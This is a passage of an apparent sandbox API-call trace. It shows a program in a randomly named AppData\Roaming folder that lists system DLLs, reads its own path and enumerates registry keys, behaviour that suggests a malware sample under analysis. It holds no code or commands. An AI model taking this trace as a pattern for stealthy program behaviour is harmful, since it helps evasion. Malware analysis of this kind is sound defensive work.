ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0164.219] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0164.221] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x41fc04 | out: BaseAddress=0x41fc04*=0x75cf0000) returned 0x0 [0164.225] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.225] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.225] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de840) returned 1 [0164.225] FindClose (in: hFindFile=0x7e2ac8 | out: hFindFile=0x7e2ac8) returned 1 [0164.225] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS", pNumArgs=0x41fc30 | out: pNumArgs=0x41fc30) returned 0x7f3dc0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" [0164.225] LocalFree (hMem=0x7f3dc0) returned 0x0 [0164.225] Wow64DisableWow64FsRedirection (in: OldValue=0x41fc2c | out: OldValue=0x41fc2c*=0x0) returned 1 [0164.225] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x800) returned 0x427cf8 [0164.226] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x427cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe")) returned 0x36 [0164.226] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x800) returned 0x428500 [0164.226] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x428500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe")) returned 0x36 [0164.226] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.226] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.226] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE", lpszShortPath=0x428d08, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE") returned 0x36 [0164.226] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x800) returned 0x429510 [0164.226] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.226] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.226] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x280) returned 0x429d18 [0164.226] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0164.226] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x429d18, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0164.226] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0164.226] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x1dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0164.226] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.226] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.226] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.226] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.227] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0x429d18, cchName=0x104 | out: lpName="Console") returned 0x0 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x1dc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.227] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.227] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.227] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.227] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0x429d18, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x1dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.227] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.227] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.227] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.227] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0x429d18, cchName=0x104 | out: lpName="Environment") returned 0x0 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x1dc240, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 